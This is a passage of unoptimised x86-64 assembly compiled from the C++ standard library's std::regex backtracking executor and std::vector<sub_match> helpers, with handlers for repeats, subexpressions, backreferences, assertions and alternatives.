_ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE12_Vector_impl12_M_swap_dataERS7_ mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rbx, rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rsi, rbx mov rdi, rax call _ZSt15__alloc_on_moveISaINSt7__cxx119sub_matchIPKcEEEEvRT_S7_ lea rax, [rbp-48] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev nop add rsp, 56 pop rbx pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_State_infoISt17integral_constantIbLb0EESt6vectorIS5_S6_EE10_M_visitedEl: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] lea rdx, [rax+24] mov rax, QWORD PTR [rbp-16] mov rsi, rax mov rdi, rdx call _ZNKSt10unique_ptrIA_bSt14default_deleteIS0_EEixEm movzx eax, BYTE PTR [rax] test al, al je .L1324 mov eax, 1 jmp .L1325 .L1324: mov rax, QWORD PTR [rbp-8] lea rdx, [rax+24] mov rax, QWORD PTR [rbp-16] mov rsi, rax mov rdi, rdx call _ZNKSt10unique_ptrIA_bSt14default_deleteIS0_EEixEm mov BYTE PTR [rax], 1 mov eax, 0 .L1325: leave ret _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-16] mov rax, rdx add rax, rax add rax, rdx sal rax, 4 add rax, rcx pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_handle_repeatENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax+24] xor eax, 1 test al, al je .L1329 mov rdx, QWORD PTR [rbp-40] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_rep_once_moreENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl jmp .L1331 .L1329: mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+140] xor eax, 1 test al, al je .L1331 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+140] xor eax, 1 test al, al je .L1331 mov rdx, QWORD PTR [rbp-40] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_rep_once_moreENS9_11_Match_modeEl .L1331: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE23_M_handle_subexpr_beginENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 64 mov QWORD PTR [rbp-40], rdi mov eax, esi mov QWORD PTR [rbp-56], rdx mov BYTE PTR [rbp-44], al mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-56] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rdx+16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov QWORD PTR [rbp-16], rax mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-44] mov rax, QWORD PTR [rbp-40] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax], rdx nop leave ret _ZNSt7__cxx119sub_matchIPKcEaSERKS3_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt4pairIPKcS1_EaSERKS2_ mov rax, QWORD PTR [rbp-16] movzx edx, BYTE PTR [rax+16] mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+16], dl mov rax, QWORD PTR [rbp-8] leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE21_M_handle_subexpr_endENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 80 mov QWORD PTR [rbp-56], rdi mov eax, esi mov QWORD PTR [rbp-72], rdx mov BYTE PTR [rbp-60], al mov rax, QWORD PTR [rbp-56] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-72] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rdx+16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov QWORD PTR [rbp-16], rax mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rcx] mov rdx, QWORD PTR [rcx+8] mov QWORD PTR [rbp-48], rax mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rcx+16] mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-16] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-16] mov BYTE PTR [rax+16], 1 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-60] mov rax, QWORD PTR [rbp-56] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl lea rdx, [rbp-48] mov rax, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx119sub_matchIPKcEaSERKS3_ nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE30_M_handle_line_begin_assertionENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_M_at_beginEv test al, al je .L1338 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl .L1338: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE28_M_handle_line_end_assertionENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE9_M_at_endEv test al, al je .L1341 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl .L1341: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE23_M_handle_word_boundaryENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_word_boundaryEv mov edx, eax mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax+24] xor eax, 1 cmp dl, al sete al test al, al je .L1344 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl .L1344: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE27_M_handle_subexpr_lookaheadENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE12_M_lookaheadEl mov edx, eax mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax+24] xor eax, 1 cmp dl, al sete al test al, al je .L1347 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl .L1347: nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE15_M_handle_matchENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+40] cmp rdx, rax je .L1351 mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+24] movzx eax, BYTE PTR [rax] movsx edx, al mov rax, QWORD PTR [rbp-8] mov esi, edx mov rdi, rax call _ZNKSt8__detail6_StateIcE10_M_matchesEc test al, al je .L1348 mov rax, QWORD PTR [rbp-24] lea rcx, [rax+96] mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] mov rsi, rax mov rdi, rcx call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_State_infoISt17integral_constantIbLb0EESt6vectorIS5_S6_EE8_M_queueElRKSE_ jmp .L1348 .L1351: nop .L1348: leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE17_M_handle_backrefENS9_11_Match_modeEl: push rbp mov rbp, rsp push rbx sub rsp, 104 mov QWORD PTR [rbp-88], rdi mov eax, esi mov QWORD PTR [rbp-104], rdx mov BYTE PTR [rbp-92], al mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-104] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rdx+16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov QWORD PTR [rbp-48], rax mov rax, QWORD PTR [rbp-48] movzx eax, BYTE PTR [rax+16] xor eax, 1 test al, al jne .L1359 mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+24] mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-48] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-32], rax .L1356: mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+40] cmp QWORD PTR [rbp-24], rax je .L1355 mov rax, QWORD PTR [rbp-48] mov rax, QWORD PTR [rax+8] cmp QWORD PTR [rbp-32], rax je .L1355 add QWORD PTR [rbp-24], 1 add QWORD PTR [rbp-32], 1 jmp .L1356 .L1355: mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+48] add rax, 16 mov rdi, rax call _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv lea rbx, [rax+80] mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+48] mov rdi, rax call _ZNKSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEE5flagsEv mov esi, 1 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al movzx ecx, al lea rax, [rbp-80] mov rdx, rbx mov esi, ecx mov rdi, rax call _ZNSt8__detail16_Backref_matcherIPKcNSt7__cxx1112regex_traitsIcEEEC1EbRKS5_ mov rax, QWORD PTR [rbp-88] mov rcx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-48] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-48] mov rsi, QWORD PTR [rax] mov rdi, QWORD PTR [rbp-24] lea rax, [rbp-80] mov r8, rdi mov rdi, rax call _ZNSt8__detail16_Backref_matcherIPKcNSt7__cxx1112regex_traitsIcEEE8_M_applyES2_S2_S2_S2_ test al, al je .L1352 mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+24] cmp QWORD PTR [rbp-24], rax je .L1357 mov rax, QWORD PTR [rbp-88] mov rax, QWORD PTR [rax+24] mov QWORD PTR [rbp-56], rax mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-92] mov rax, QWORD PTR [rbp-88] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-56] mov QWORD PTR [rax+24], rdx jmp .L1352 .L1357: mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-92] mov rax, QWORD PTR [rbp-88] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl jmp .L1352 .L1359: nop .L1352: add rsp, 104 pop rbx pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_handle_acceptENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov eax, esi mov QWORD PTR [rbp-24], rdx mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+32] cmp rdx, rax jne .L1361 mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+136] mov esi, 32 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L1361 mov eax, 1 jmp .L1362 .L1361: mov eax, 0 .L1362: test al, al jne .L1366 cmp BYTE PTR [rbp-12], 1 je .L1365 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+40] cmp rdx, rax jne .L1360 .L1365: mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax+140] xor eax, 1 test al, al je .L1360 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+140], 1 mov rdx, QWORD PTR [rbp-8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+64] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEaSERKS6_ jmp .L1360 .L1366: nop .L1360: leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE21_M_handle_alternativeENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov eax, esi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-40] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+56] mov eax, DWORD PTR [rax+24] mov esi, 16 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al test al, al je .L1368 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+140] xor eax, 1 test al, al je .L1370 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl jmp .L1370 .L1368: mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+140] mov BYTE PTR [rbp-9], al mov rax, QWORD PTR [rbp-24] mov BYTE PTR [rax+140], 0 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] movzx ecx, BYTE PTR [rbp-28] mov rax, QWORD PTR [rbp-24] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-24] movzx eax, BYTE PTR [rax+140] or al, BYTE PTR [rbp-9] mov edx, eax mov rax, QWORD PTR [rbp-24] mov BYTE PTR [rax+140], dl .L1370: nop leave ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE15_M_erase_at_endEPS8_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+8] sub rax, QWORD PTR [rbp-32] sar rax, 5 mov QWORD PTR [rbp-8], rax cmp QWORD PTR [rbp-8], 0 je .L1373 mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-32] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEES9_EvT_SB_RSaIT0_E mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-32] mov QWORD PTR [rax+8], rdx .L1373: nop leave ret _ZStneINSt7__cxx119sub_matchIPKcEEEbRKSaIT_ES8_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov eax, 0 pop rbp ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5clearEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE15_M_erase_at_endEPS4_ nop leave ret _ZSt15__alloc_on_copyISaINSt7__cxx119sub_matchIPKcEEEEvRT_RKS6_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZSt18__do_alloc_on_copyISaINSt7__cxx119sub_matchIPKcEEEEvRT_RKS6_St17integral_constantIbLb0EE nop leave ret _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE8capacityEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] sub rdx, rax mov rax, rdx sar rax, 3 mov rdx, rax movabs rax, -6148914691236517205 imul rax, rdx pop rbp ret _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5beginEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-8], rax lea rdx, [rbp-8] lea rax, [rbp-16] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEC1ERKS7_ mov rax, QWORD PTR [rbp-16] leave ret _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE3endEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+8] mov QWORD PTR [rbp-8], rax lea rdx, [rbp-8] lea rax, [rbp-16] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEC1ERKS7_ mov rax, QWORD PTR [rbp-16] leave ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE20_M_allocate_and_copyIN9__gnu_cxx17__normal_iteratorIPKS4_S6_EEEEPS4_mT_SE_: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov QWORD PTR [rbp-64], rcx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE11_M_allocateEm mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rcx, rax mov rdx, QWORD PTR [rbp-24] mov rsi, QWORD PTR [rbp-64] mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZSt22__uninitialized_copy_aIN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEEPS6_S6_ET0_T_SF_SE_RSaIT1_E mov rax, QWORD PTR [rbp-24] jmp .L1390 mov rdi, rax call __cxa_begin_catch mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rbp-48] mov rcx, QWORD PTR [rbp-24] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE13_M_deallocateEPS4_m call __cxa_rethrow mov rbx, rax call __cxa_end_catch mov rax, rbx mov rdi, rax call _Unwind_Resume .L1390: add rsp, 56 pop rbx pop rbp ret _ZSt4copyIN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEENS1_IPS6_SB_EEET0_T_SG_SF_: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt12__miter_baseIN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEEET_SD_ mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call 